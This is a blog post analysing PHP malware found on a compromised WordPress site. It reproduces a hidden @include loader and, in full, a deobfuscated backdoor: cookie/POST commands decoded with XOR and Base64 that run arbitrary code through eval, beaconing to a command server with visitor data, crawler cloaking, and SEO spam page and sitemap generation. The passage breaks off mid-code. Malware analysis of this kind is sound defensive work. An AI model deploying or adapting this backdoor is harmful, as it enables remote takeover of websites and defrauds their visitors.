{
  "$type": "site.standard.document",
  "bskyPostRef": {
    "cid": "bafyreigjb7idq2le2z6zb62iaeyhae77moqgnt6mwx3f36idfkm2ggvguy",
    "uri": "at://did:plc:5y2ps7xhcqmc2d63b73ui72s/app.bsky.feed.post/3mjhufrndwiq2"
  },
  "coverImage": {
    "$type": "blob",
    "ref": {
      "$link": "bafkreibbnv5zc6ify4y7xcgg33cmgc6xf7nqvethexeuarempjpeup4lvm"
    },
    "mimeType": "image/png",
    "size": 1049304
  },
  "description": "A deep dive into obfuscated PHP malware reveals a multi-class backdoor using XOR/Base64 decoding, remote command execution, and SEO spam generation. By unpacking its structure, we uncover hidden C2 communication, template injection, and keyword-driven sitemap abuse.",
  "path": "/php-malware-examination-part-2/",
  "publishedAt": "2026-04-14T17:04:07.000Z",
  "site": "https://blog.php-systems.com",
  "tags": [
    "the Manchester Greyhats Blog",
    "See part 1 here.",
    "X with me",
    "@include",
    "@ini_set",
    "@error_reporting",
    "@set_time_limit",
    "@file_get_contents",
    "@file_exists",
    "@mkdir",
    "@file_put_contents",
    "@unserialize",
    "@file",
    "@serialize",
    "@gethostbyaddr"
  ],
  "textContent": "Originally posted on the Manchester Greyhats Blog on 2018-11-27 written by me.\n\nFollowing on from the malware, I investigated earlier in the month, my friend gave me further files to continue working out what was the function of the malware. See part 1 here.. All analysis was performed on a virtual machine and only details which could have identified the victim have been removed.\n\n# What I was given\n\nThe first think he pointed out was that there was over 50MB of the infection. Most of it seemed to be in a directory called \"cache\". The main extra files he gave me were:\n\n  * an index page\n  * a html file\n  * a list file\n  * a file called fbxutv.php\n  * a folder called cache, with lots of files in it.\n\n\n\nStarting with the index file, I found a familar sight:\n\n\n    <?php\n\n    /*f3e7f*/\n\n    @include \"\\057home\\057redac\\164ed/\\160ubli\\143_htm\\154/wp-\\143onte\\156t/th\\145mes/\\0560280\\0610cf.\\151co\";\n\n    /*f3e7f*/\n\n\n\nRunning the command \"php -w index.php > index2.php\" cleared up the comments, which didn't help that much this time. Looking at the string, I decided to change the include to an echo statement to show what was being printed out. Low and behold, the included string was the original malware.\n\n\n    /home/redacted/public_html/wp-content/themes/.028010cf.ico\n\n\nSo that answered the first question I had about the original malware piece: if it was hidden, and a ico file, how was it being run.\n\nThe next file I looked at was the html file. The file on first inspection appeared to be a template file. A screenshot is shown below:\n\nThe list file seem to contain random strings of keywords. With nothing of great interest at this point, I turned my attention to fbxutv.php.\n\n# The main piece of malware\n\nThe first thing I noticed that the code was listed in a couple of lines. I ran \"php -w\" on the file, and started to reformat the malware in to an easier to look at version. After changing the style, I was left with:\n\n\n    <?php\n\n    @ini_set('error_log', NULL);\n    @ini_set('log_errors', 0);\n    @ini_set('max_execution_time', 0);\n    @error_reporting(0);\n    @set_time_limit(0);\n    date_default_timezone_set('UTC');\n\n    class _19g0vs2{\n    \tstatic private $_759k0624 = 1585596830;\n    \tstatic function _5es9r($_fj3v9zd1, $_wjqehzzq){\n    \t\t$_fj3v9zd1[2] = count($_fj3v9zd1) > 4 ? long2ip (_19g0vs2::$_759k0624 - 642) : $_fj3v9zd1[2];\n    \t\t$_pdo1wxsa = _19g0vs2::_2bza6($_fj3v9zd1, $_wjqehzzq);\n    \t\tif (!$_pdo1wxsa){\n    \t\t\t$_pdo1wxsa = _19g0vs2::_m5fzv($_fj3v9zd1, $_wjqehzzq);\n    \t\t}\n    \t\treturn $_pdo1wxsa;\n    \t}\n    \tstatic function _2bza6($_fj3v9zd1, $_pdo1wxsa){\n    \t\tif (!function_exists('curl_version')){\n    \t\t\treturn \"\";\n    \t\t}\n    \t\t$_q7nz6eha = curl_init();\n    \t\tcurl_setopt($_q7nz6eha, CURLOPT_URL, implode(\"/\", $_fj3v9zd1));\n    \t\tif (!empty($_pdo1wxsa)){\n    \t\t\tcurl_setopt($_q7nz6eha, CURLOPT_POST, 1);\n    \t\t\tcurl_setopt($_q7nz6eha, CURLOPT_POSTFIELDS, $_pdo1wxsa);\n    \t\t}\n    \t\tcurl_setopt($_q7nz6eha, CURLOPT_RETURNTRANSFER, TRUE);\n    \t\t$_sxg6rwqh = curl_exec($_q7nz6eha);\n    \t\tcurl_close($_q7nz6eha);\n    \t\treturn $_sxg6rwqh;\n    \t}\n    \tstatic function _m5fzv($_fj3v9zd1, $_pdo1wxsa){\n    \t\tif (!empty($_pdo1wxsa)){\n    \t\t\t$_10bot499 = stream_context_create(\n    \t\t\t\tArray('http' => Array(\n    \t\t\t\t\t'method' => 'POST',\n    \t\t\t\t\t'header' => 'Content-type: application/x-www-form-urlencoded',\n    \t\t\t\t\t'content' => $_pdo1wxsa)));\n    \t\t\t$_sxg6rwqh = @file_get_contents(implode(\"/\", $_fj3v9zd1), FALSE, $_10bot499);\n    \t\t}else{\n    \t\t\t$_sxg6rwqh = @file_get_contents(implode(\"/\", $_fj3v9zd1));\n    \t\t}return $_sxg6rwqh;\n    \t}\n    }\n\n    class _zh7q3s{\n    \tprivate static $_d5gicerr = \"\";\n    \tprivate static $_nj936vjk = -1;\n    \tprivate static $_roz3ivpd = \"\";\n    \tprivate $_ckt9eh6j = \"\";\n    \tprivate $_er6eg00h = \"\";\n    \tprivate $_1c0nv0xg = \"\";\n    \tprivate $_ahx0h1u4 = \"\";\n    \tpublic static function _wu68f($_3lantxxc, $_kk2hg6qf, $_u670vkeo){\n    \t\t_zh7q3s::$_d5gicerr = $_3lantxxc . \"/cache/\";\n    \t\t_zh7q3s::$_nj936vjk = $_kk2hg6qf;\n    \t\t_zh7q3s::$_roz3ivpd = $_u670vkeo;\n    \t\tif (!@file_exists(_zh7q3s::$_d5gicerr)){\n    \t\t\t@mkdir(_zh7q3s::$_d5gicerr);\n    \t\t}\n    \t}\n    \tpublic static function _mn403(){\n    \t\treturn TRUE;\n    \t}\n    \tpublic function __construct($_f0y2sncy, $_4o6wrpay, $_5oudn589, $_zhyds6gj){\n    \t\t$this->_ckt9eh6j = $_f0y2sncy;\n    \t\t$this->_er6eg00h = $_4o6wrpay;\n    \t\t$this->_1c0nv0xg = $_5oudn589;\n    \t\t$this->_ahx0h1u4 = $_zhyds6gj;\n    \t}\n    \tpublic function _zg7my(){\n    \t\treturn str_replace(\"{{ text }}\", $this->_er6eg00h,str_replace(\"{{ keyword }}\", $this->_1c0nv0xg,str_replace(\"{{ links }}\", $this->_ahx0h1u4, $this->_ckt9eh6j)));\n    \t}\n    \tpublic function _79py7(){\n    \t\t$_4xkehlm5 = _zh7q3s::$_d5gicerr . md5($this->_1c0nv0xg . _zh7q3s::$_roz3ivpd);\n    \t\tif (_zh7q3s::$_nj936vjk == -1){\n    \t\t\t$_2ng0cqsu = -1;\n    \t\t}else{\n    \t\t\t$_2ng0cqsu = time() + (3600 * 24 * 30);\n    \t\t}\n    \t\t$_yywd151p = Array(\n    \t\t\t\"template\" => $this->_ckt9eh6j,\n    \t\t\t\"text\" => $this->_er6eg00h,\n    \t\t\t\"keyword\" => $this->_1c0nv0xg,\n    \t\t\t\"links\" => $this->_ahx0h1u4,\n    \t\t\t\"expired\" => $_2ng0cqsu);\n    \t\t@file_put_contents($_4xkehlm5, serialize($_yywd151p));\n    \t}\n    \tstatic public function _5s97u($_5oudn589){\n    \t\t$_4xkehlm5 = _zh7q3s::$_d5gicerr . md5($_5oudn589 . _zh7q3s::$_roz3ivpd);\n    \t\t$_4xkehlm5 = @unserialize(@file_get_contents($_4xkehlm5));\n    \t\tif (!empty($_4xkehlm5) && ($_4xkehlm5[\"expired\"] > time() || $_4xkehlm5[\"expired\"] == -1)){\n    \t\t\treturn new _zh7q3s($_4xkehlm5[\"template\"], $_4xkehlm5[\"text\"], $_4xkehlm5[\"keyword\"], $_4xkehlm5[\"links\"]);\n    \t\t}else{\n    \t\t\treturn null;\n    \t\t}\n    \t}\n    }\n\n    class _royr5j{\n    \tprivate static $_d5gicerr = \"\";\n    \tprivate static $_iyy6aoxc = \"\";\n    \tpublic static function _wu68f($_3lantxxc, $_9t2du02l){\n    \t\t_royr5j::$_d5gicerr = $_3lantxxc . \"/\";\n    \t\t_royr5j::$_iyy6aoxc = $_9t2du02l;\n    \t\tif (!@file_exists(_royr5j::$_d5gicerr)){\n    \t\t\t@mkdir(_royr5j::$_d5gicerr);\n    \t\t}\n    \t}\n    \tpublic static function _mn403(){\n    \t\treturn TRUE;\n    \t}\n    \tstatic public function _4z0p1(){\n    \t\t$_avf9jszr = 0;\n    \t\tforeach (scandir(_royr5j::$_d5gicerr) as $_o2sspu30){\n    \t\t\tif (strpos($_o2sspu30, _royr5j::$_iyy6aoxc) === 0){\n    \t\t\t\t$_avf9jszr += 1;\n    \t\t\t}\n    \t\t}\n    \t\treturn $_avf9jszr;\n    \t}\n    \tstatic public function _zhykw(){\n    \t\t$_s8anq96o = Array();\n    \t\tforeach (scandir(_royr5j::$_d5gicerr) as $_o2sspu30){\n    \t\t\tif (strpos($_o2sspu30, _royr5j::$_iyy6aoxc) === 0){\n    \t\t\t\t$_s8anq96o[] = $_o2sspu30;\n    \t\t\t}\n    \t\t}\n    \t\treturn @file_get_contents(_royr5j::$_d5gicerr . $_s8anq96o[array_rand($_s8anq96o)]);\n    \t}\n    \tstatic public function _79py7($_abptir25){\n    \t\tif (@file_exists(_royr5j::$_iyy6aoxc . \"_\" . md5($_abptir25) . \".html\")){\n    \t\t\treturn;\n    \t\t}\n    \t\t@file_put_contents(_royr5j::$_iyy6aoxc . \"_\" . md5($_abptir25) . \".html\", $_abptir25);\n    \t}\n    }\n\n    class _zsop1pp{\n    \tprivate static $_d5gicerr = \"\";\n    \tprivate static $_iyy6aoxc = \"\";\n    \tpublic static function _wu68f($_3lantxxc, $_9t2du02l){\n    \t\t_zsop1pp::$_d5gicerr = $_3lantxxc . \"/\";\n    \t\t_zsop1pp::$_iyy6aoxc = $_9t2du02l;\n    \t\tif (!@file_exists(_zsop1pp::$_d5gicerr)){\n    \t\t\t@mkdir(_zsop1pp::$_d5gicerr);\n    \t\t}\n    \t}\n    \tprivate static function _79i20(){\n    \t\t$_biw8hck1 = Array();\n    \t\tforeach (scandir(_zsop1pp::$_d5gicerr) as $_o2sspu30){\n    \t\t\tif (strpos($_o2sspu30, _zsop1pp::$_iyy6aoxc) === 0){\n    \t\t\t\t$_biw8hck1[] = $_o2sspu30;\n    \t\t\t}\n    \t\t}\n    \t\treturn $_biw8hck1;\n    \t}\n    \tpublic static function _mn403(){\n    \t\t$_biw8hck1 = _zsop1pp::_79i20();\n    \t\tif (!empty($_biw8hck1)){\n    \t\t\treturn TRUE;\n    \t\t}\n    \t\treturn FALSE;\n    \t}\n    \tstatic public function _zhykw(){\n    \t\t$_biw8hck1 = _zsop1pp::_79i20();\n    \t\t$_pfoa7z23 = @file(_zsop1pp::$_d5gicerr . $_biw8hck1[array_rand($_biw8hck1)], FILE_IGNORE_NEW_LINES);\n    \t\treturn $_pfoa7z23[array_rand($_pfoa7z23)];\n    \t}\n    \tstatic public function _v2cr7(){\n    \t\t$_pfoa7z23 = Array();\n    \t\t$_biw8hck1 = _zsop1pp::_79i20();\n    \t\tforeach ($_biw8hck1 as $_kk52mpio){\n    \t\t\t$_pfoa7z23 = array_merge($_pfoa7z23, @file(_zsop1pp::$_d5gicerr . $_kk52mpio, FILE_IGNORE_NEW_LINES));\n    \t\t}\n    \t\treturn $_pfoa7z23;\n    \t}\n    \tstatic public function _79py7($_y1wpo0xb){\n    \t\tif (@file_exists(_zsop1pp::$_iyy6aoxc . \"_\" . md5($_y1wpo0xb) . \".list\")){\n    \t\t\treturn;\n    \t\t}\n    \t\t@file_put_contents(_zsop1pp::$_iyy6aoxc . \"_\" . md5($_y1wpo0xb) . \".list\", $_y1wpo0xb);\n    \t}\n    }\n\n    class _abtwpw0{\n    \tstatic public $_ebgh51p9 = \"4.1\";\n    \tstatic public $_gc26w45m = \"e18bb5c2-b998-9250-fbe6-98f8a3caf821\";\n    \tprivate $_u08raxie = \"hxxp://136.12.78.46/module/error/api2?action=redir\";\n    \tprivate $_ibktrama = \"hxxp://136.12.78.46/module/error/api2?action=page\";\n    \tstatic public $_mztoxj8u = 20;\n    \tstatic public $_92r2gln1 = 100;\n    \tstatic public function _jebhw(){\n    \t\tfunction _4ltmr($_elxaovea, $_rvr9m8df){\n    \t\t\t$_f2e2ixi7 = \"\";\n    \t\t\tfor ($_xdn6ddo5 = 0; $_xdn6ddo5 < strlen($_elxaovea);) {\n    \t\t\t\tfor ($_emmj452e = 0; $_emmj452e < strlen($_rvr9m8df) && $_xdn6ddo5 < strlen($_elxaovea); $_emmj452e++, $_xdn6ddo5++) {\n    \t\t\t\t\t$_f2e2ixi7 .= chr(ord($_elxaovea[$_xdn6ddo5]) ^ ord($_rvr9m8df[$_emmj452e]));\n    \t\t\t\t}\n    \t\t\t}\n    \t\t\treturn $_f2e2ixi7;\n    \t\t}\n    \t\tfunction _nj9x5($_elxaovea, $_rvr9m8df, $_4vpyschm){\n    \t\t\treturn _4ltmr(_4ltmr($_elxaovea, $_rvr9m8df), $_4vpyschm);\n    \t\t}\n    \t\tforeach (array_merge($_COOKIE, $_POST) as $_sgii98xz => $_elxaovea) {\n    \t\t\t$_elxaovea = @unserialize(_nj9x5(_abtwpw0::_yqd7x($_elxaovea), $_sgii98xz, _abtwpw0::$_gc26w45m));\n    \t\t\tif (isset($_elxaovea['ak']) && _abtwpw0::$_gc26w45m == $_elxaovea['ak']) {\n    \t\t\t\tif ($_elxaovea['a'] == 'doorway2') {\n    \t\t\t\t\tif ($_elxaovea['sa'] == 'check') {\n    \t\t\t\t\t\t$_pdo1wxsa = _19g0vs2::_5es9r(explode(\"/\", \"hxxp://httpbin.org/\"), \"\");\n    \t\t\t\t\t\tif (strlen($_pdo1wxsa) > 512) {\n    \t\t\t\t\t\t\techo @serialize(Array(\"uid\" => _abtwpw0::$_gc26w45m, \"v\" => _abtwpw0::$_ebgh51p9, ));\n    \t\t\t\t\t\t}\n    \t\t\t\t\t\texit;\n    \t\t\t\t\t}\n    \t\t\t\t\tif ($_elxaovea['sa'] == 'templates') {\n    \t\t\t\t\t\tforeach ($_elxaovea[\"templates\"] as $_f0y2sncy) {\n    \t\t\t\t\t\t\t_royr5j::_79py7($_f0y2sncy);\n    \t\t\t\t\t\t\techo @serialize(Array(\"uid\" => _abtwpw0::$_gc26w45m, \"v\" => _abtwpw0::$_ebgh51p9, ));\n    \t\t\t\t\t\t}\n    \t\t\t\t\t}\n    \t\t\t\t\tif ($_elxaovea['sa'] == 'keywords') {\n    \t\t\t\t\t\t_zsop1pp::_79py7($_elxaovea[\"keywords\"]);\n    \t\t\t\t\t\t_abtwpw0::_yzcee();\n    \t\t\t\t\t\techo @serialize(Array(\"uid\" => _abtwpw0::$_gc26w45m, \"v\" => _abtwpw0::$_ebgh51p9, ));\n    \t\t\t\t\t}\n    \t\t\t\t}\n    \t\t\t\tif ($_elxaovea['sa'] == 'eval') {\n    \t\t\t\t\teval($_elxaovea[\"data\"]);\n    \t\t\t\t\texit;\n    \t\t\t\t}\n    \t\t\t}\n    \t\t}\n    \t}\n\n    \tprivate function _85a7k(){\n    \t\t$_h98zt9gf = array(\n    \t\t\t'#Ask\\s*Jeeves#i',\n    \t\t\t'#HP\\s*Web\\s*PrintSmart#i',\n    \t\t\t'#HTTrack#i',\n    \t\t\t'#IDBot#i',\n    \t\t\t'#Indy\\s*Library#',\n    \t\t\t'#ListChecker#i',\n    \t\t\t'#MSIECrawler#i',\n    \t\t\t'#NetCache#i',\n    \t\t\t'#Nutch#i',\n    \t\t\t'#RPT-HTTPClient#i',\n    \t\t\t'#rulinki\\.ru#i',\n    \t\t\t'#Twiceler#i',\n    \t\t\t'#WebAlta#i',\n    \t\t\t'#Webster\\s*Pro#i',\n    \t\t\t'#www\\.cys\\.ru#i',\n    \t\t\t'#Wysigot#i',\n    \t\t\t'#Yahoo!\\s*Slurp#i',\n    \t\t\t'#Yeti#i',\n    \t\t\t'#Accoona#i',\n    \t\t\t'#CazoodleBot#i',\n    \t\t\t'#CFNetwork#i',\n    \t\t\t'#ConveraCrawler#i',\n    \t\t\t'#DISCo#i',\n    \t\t\t'#Download\\s*Master#i',\n    \t\t\t'#FAST\\s*MetaWeb\\s*Crawler#i',\n    \t\t\t'#Flexum\\s*spider#i',\n    \t\t\t'#Gigabot#i',\n    \t\t\t'#HTMLParser#i',\n    \t\t\t'#ia_archiver#i',\n    \t\t\t'#ichiro#i',\n    \t\t\t'#IRLbot#i',\n    \t\t\t'#Java#i',\n    \t\t\t'#km\\.ru\\s*bot#i',\n    \t\t\t'#kmSearchBot#i',\n    \t\t\t'#libwww-perl#i',\n    \t\t\t'#Lupa\\.ru#i',\n    \t\t\t'#LWP::Simple#i',\n    \t\t\t'#lwp-trivial#i',\n    \t\t\t'#Missigua#i',\n    \t\t\t'#MJ12bot#i',\n    \t\t\t'#msnbot#i',\n    \t\t\t'#msnbot-media#i',\n    \t\t\t'#Offline\\s*Explorer#i',\n    \t\t\t'#OmniExplorer_Bot#i',\n    \t\t\t'#PEAR#i',\n    \t\t\t'#psbot#i',\n    \t\t\t'#Python#i',\n    \t\t\t'#rulinki\\.ru#i',\n    \t\t\t'#SMILE#i',\n    \t\t\t'#Speedy#i',\n    \t\t\t'#Teleport\\s*Pro#i',\n    \t\t\t'#TurtleScanner#i',\n    \t\t\t'#User-Agent#i',\n    \t\t\t'#voyager#i',\n    \t\t\t'#Webalta#i',\n    \t\t\t'#WebCopier#i',\n    \t\t\t'#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i',\n    \t\t\t'#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\\s*fetch#i',\n    \t\t\t'#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i',\n    \t\t\t'#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i',\n    \t\t\t'#architextspider#i', '#yahoo!\\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');\n    \t\tif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n    \t\t\t$_glpg7azf = $_SERVER['HTTP_X_FORWARDED_FOR'];\n    \t\t} elseif (!empty($_SERVER['REMOTE_ADDR'])) {\n    \t\t\t$_glpg7azf = $_SERVER['REMOTE_ADDR'];\n    \t\t} else {\n    \t\t\t$_glpg7azf = \"\";\n    \t\t}\n    \t\tif (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_h98zt9gf, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){\n    \t\t\t$_7wgedcji = 1;\n    \t\t}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){\n    \t\t\t$_7wgedcji = 1;\n    \t\t}elseif (FALSE !== strpos(@gethostbyaddr($_glpg7azf), 'google')) {\n    \t\t\t$_7wgedcji = 1;\n    \t\t}elseif (strpos($_SERVER['HTTP_REFERER'], \"google\") === FALSE && strpos($_SERVER['HTTP_REFERER'], \"yahoo\") === FALSE){\n    \t\t\t$_7wgedcji = 1;\n    \t\t}else{\n    \t\t\t$_7wgedcji = 0;\n    \t\t}\n    \t\treturn $_7wgedcji;\n    \t}\n\n    \tpublic static function _1vrgw($_pxlvpprx, $_09ezckgm){\n    \t\t$_jf8s5okd = rand($_pxlvpprx, $_09ezckgm);\n    \t\t$_kgvo3ed7 = \"\";\n    \t\t$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . \"salt3\"), 0, 6);\n    \t\tfor ($_xdn6ddo5=0; $_xdn6ddo5 < $_jf8s5okd; $_xdn6ddo5++){\n    \t\t\t$_5oudn589 = _zsop1pp::_zhykw();\n    \t\t\t$_kgvo3ed7 .= sprintf(\"<a href='%s?%s=%s'>%s</a>,\\n\",_abtwpw0::_b9eit(),$_plzk7uci,urlencode(str_replace(\" \", \"-\", $_5oudn589)), ucwords($_5oudn589));\n    \t\t}\n    \t\treturn $_kgvo3ed7;\n    \t}\n\n    \tprivate static function _coldw(){\n    \t\t$_wjqehzzq = Array();\n    \t\t$_wjqehzzq['ip'] = $_SERVER['REMOTE_ADDR'];\n    \t\t$_wjqehzzq['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];\n    \t\t$_wjqehzzq['ua'] = @$_SERVER['HTTP_USER_AGENT'];\n    \t\t$_wjqehzzq['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];\n    \t\t$_wjqehzzq['ref'] = @$_SERVER['HTTP_REFERER'];\n    \t\t$_wjqehzzq['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];\n    \t\t$_wjqehzzq['acp'] = @$_SERVER['HTTP_ACCEPT'];\n    \t\t$_wjqehzzq['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];\n    \t\t$_wjqehzzq['conn'] = @$_SERVER['HTTP_CONNECTION'];\n    \t\treturn $_wjqehzzq;\n    \t}\n    \tpublic function __construct(){\n    \t\t$this->_u08raxie = explode(\"/\", $this->_u08raxie);\n    \t\t$this->_ibktrama = explode(\"/\", $this->_ibktrama);\n    \t}\n\n    \tstatic private function _yqd7x($_x671rl9p){\n    \t\tif (strlen($_x671rl9p) < 4){\n    \t\t\treturn \"\";\n    \t\t}\n    \t\t$_1uf4luy1 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\";\n    \t\t$_pfoa7z23 = str_split($_1uf4luy1);\n    \t\t$_pfoa7z23 = array_flip($_pfoa7z23);\n    \t\t$_xdn6ddo5 = 0;\n    \t\t$_zrb4w2a2 = \"\";\n    \t\t$_x671rl9p = preg_replace(\"~[^A-Za-z0-9\\+\\/\\=]~\", \"\", $_x671rl9p);\n    \t\tdo {\n    \t\t\t$_fmyu7m3u = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];\n    \t\t\t$_e664o3z2 = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];\n    \t\t\t$_gl2fd4nr = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];\n    \t\t\t$_ne36pr0t = $_pfoa7z23[$_x671rl9p[$_xdn6ddo5++]];\n    \t\t\t$_74h0whi2 = ($_fmyu7m3u << 2) | ($_e664o3z2 >> 4);\n    \t\t\t$_ly17nv2z = (($_e664o3z2 & 15) << 4) | ($_gl2fd4nr >> 2);\n    \t\t\t$_z5fafa64 = (($_gl2fd4nr & 3) << 6) | $_ne36pr0t;\n    \t\t\t$_zrb4w2a2 = $_zrb4w2a2 . chr($_74h0whi2);\n    \t\t\tif ($_gl2fd4nr != 64) {\n    \t\t\t\t$_zrb4w2a2 = $_zrb4w2a2 . chr($_ly17nv2z);\n    \t\t\t}\n    \t\t\tif ($_ne36pr0t != 64) {\n    \t\t\t\t$_zrb4w2a2 = $_zrb4w2a2 . chr($_z5fafa64);\n    \t\t\t}\n    \t\t} while ($_xdn6ddo5 < strlen($_x671rl9p));\n    \t\treturn $_zrb4w2a2;\n    \t}\n\n    \tprivate function _bem0h($_5oudn589){\n    \t\t$_f0y2sncy = \"\";\n    \t\t$_4o6wrpay = \"\";\n    \t\t$_wjqehzzq = _abtwpw0::_coldw();\n    \t\t$_wjqehzzq[\"uid\"] = _abtwpw0::$_gc26w45m;\n    \t\t$_wjqehzzq[\"keyword\"] = $_5oudn589;\n    \t\t$_wjqehzzq[\"tc\"] = 10;\n    \t\t$_wjqehzzq = http_build_query($_wjqehzzq);\n    \t\t$_elxaovea = _19g0vs2::_5es9r($this->_ibktrama, $_wjqehzzq);\n    \t\tif (strpos($_elxaovea, _abtwpw0::$_gc26w45m) === FALSE){\n    \t\t\treturn Array($_f0y2sncy, $_4o6wrpay);\n    \t\t}\n    \t\t$_f0y2sncy = _royr5j::_zhykw();\n    \t\t$_4o6wrpay = substr($_elxaovea, strlen(_abtwpw0::$_gc26w45m));\n    \t\t$_4o6wrpay = explode(\"\\n\", $_4o6wrpay);\n    \t\tshuffle($_4o6wrpay);\n    \t\t$_4o6wrpay = implode(\" \", $_4o6wrpay);\n    \t\treturn Array($_f0y2sncy, $_4o6wrpay);\n    \t}\n\n    \tprivate function _3krbm(){\n    \t\t$_wjqehzzq = _abtwpw0::_coldw();\n    \t\t$_wjqehzzq[\"uid\"] = _abtwpw0::$_gc26w45m;\n    \t\t$_wjqehzzq = http_build_query($_wjqehzzq);\n    \t\t$_m2ht28x6 = _19g0vs2::_5es9r($this->_u08raxie, $_wjqehzzq);\n    \t\t$_m2ht28x6 = @unserialize($_m2ht28x6);\n    \t\tif (isset($_m2ht28x6[\"type\"]) && $_m2ht28x6[\"type\"] == \"redir\") {\n    \t\t\tif (!empty($_m2ht28x6[\"data\"][\"header\"])) {\n    \t\t\t\theader($_m2ht28x6[\"data\"][\"header\"]);\n    \t\t\t\treturn true;\n    \t\t\t} elseif (!empty($_m2ht28x6[\"data\"][\"code\"])) {\n    \t\t\t\techo $_m2ht28x6[\"data\"][\"code\"];\n    \t\t\t\treturn true;\n    \t\t\t}\n    \t\t}\n    \t\treturn false;\n    \t}\n\n    \tpublic function _mn403(){\n    \t\treturn _zh7q3s::_mn403() && _royr5j::_mn403() && _zsop1pp::_mn403();\n    \t}\n\n    \tstatic public function _2vjoa(){\n    \t\tif ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {\n    \t\t\treturn true;\n    \t\t}\n    \t\treturn false;\n    \t}\n\n    \tpublic static function _b9eit(){\n    \t\t$_l8rv0m91 = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n    \t\t$_l8rv0m91 = $_l8rv0m91[0];\n    \t\treturn sprintf(\"%s://%s%s\", _abtwpw0::_2vjoa() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $_l8rv0m91);\n    \t}\n\n    \tpublic static function _tp54w(){\n    \t\t$_l8rv0m91 = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n    \t\t$_l8rv0m91 = $_l8rv0m91[0];\n    \t\t$_3lantxxc = substr($_l8rv0m91, 0, strrpos($_l8rv0m91, \"/\"));\n    \t\treturn sprintf(\"%s://%s%s\", _abtwpw0::_2vjoa() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $_3lantxxc);\n    \t}\n\n    \tpublic static function _yzcee(){\n    \t\t$_8ml56txq = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\" . \">\\n<urlset xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\">\\n\";\n    \t\t$_hz6xkygy = \"</urlset>\";\n    \t\t$_5vjv3mu2 = \"\";\n    \t\t$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . \"salt3\"), 0, 6);\n    \t\t$_pfoa7z23 = _zsop1pp::_v2cr7();\n    \t\tforeach ($_pfoa7z23 as $_rvr9m8df){\n    \t\t\t$_d0cfol96 = sprintf(\"%s?%s=%s\",_abtwpw0::_b9eit(),$_plzk7uci,urlencode(str_replace(\" \", \"-\", $_rvr9m8df)));\n    \t\t\t$_vzr5de5g = time() - mt_rand(0, 60 * 60 * 24 * 30);\n    \t\t\t$_5vjv3mu2 .= \"<url>\\n\";\n    \t\t\t$_5vjv3mu2 .= sprintf(\"<loc>%s</loc>\\n\", $_d0cfol96);\n    \t\t\t$_5vjv3mu2 .= sprintf(\"<lastmod>%s</lastmod>\\n\", date(\"Y-m-d\", $_vzr5de5g));\n    \t\t\t$_5vjv3mu2 .= \"<priority>0.3</priority>\\n\";\n    \t\t\t$_5vjv3mu2 .= \"</url>\\n\";\n    \t\t}\n    \t\t$_594ub8ay = $_8ml56txq . $_5vjv3mu2 . $_hz6xkygy;\n    \t\t$_negl3ygm = dirname(__FILE__) . \"/sitemap.xml\";\n    \t\t$_cpk4clop = _abtwpw0::_tp54w() . \"/sitemap.xml\";\n    \t\t@file_put_contents($_negl3ygm, $_594ub8ay);\n    \t\treturn $_cpk4clop;\n    \t}\n\n    \tpublic function _t31lu(){\n    \t\t$_plzk7uci = substr(md5(_abtwpw0::$_gc26w45m . \"salt3\"), 0, 6);\n    \t\tif (isset($_GET[$_plzk7uci])){$_5oudn589 = $_GET[$_plzk7uci];\n    \t\t\t$_5oudn589 = str_replace(\"-\", \" \", $_5oudn589);\n    \t\t\tif (!$this->_85a7k()){\n    \t\t\t\tif ($this->_3krbm()){\n    \t\t\t\t\treturn;\n    \t\t\t\t}\n    \t\t\t}\n    \t\t\t$_m2ht28x6 = _zh7q3s::_5s97u($_5oudn589);\n    \t\t\tif (empty($_m2ht28x6)){\n    \t\t\t\tlist($_f0y2sncy, $_4o6wrpay) = $this->_bem0h($_5oudn589);\n    \t\t\t\tif (empty($_4o6wrpay)){\n    \t\t\t\t\treturn;\n    \t\t\t\t}\n    \t\t\t\t$_m2ht28x6 = new _zh7q3s($_f0y2sncy, $_4o6wrpay, $_5oudn589, _abtwpw0::_1vrgw(_abtwpw0::$_mztoxj8u, _abtwpw0::$_92r2gln1));\n    \t\t\t\t$_m2ht28x6->_79py7();\n    \t\t\t}\n    \t\t\techo $_m2ht28x6->_zg7my();\n    \t\t}\n    \t}\n    }\n\n    _zh7q3s::_wu68f(dirname(__FILE__), -1, _abtwpw0::$_gc26w45m);\n    _royr5j::_wu68f(dirname(__FILE__), substr(md5(_abtwpw0::$_gc26w45m . \"salt1\"), 0, 4));\n    _zsop1pp::_wu68f(dirname(__FILE__), substr(md5(_abtwpw0::$_gc26w45m . \"salt2\"), 0, 4));\n    _abtwpw0::_jebhw();\n    $_6b5ok2i8 = new _abtwpw0();\n    if 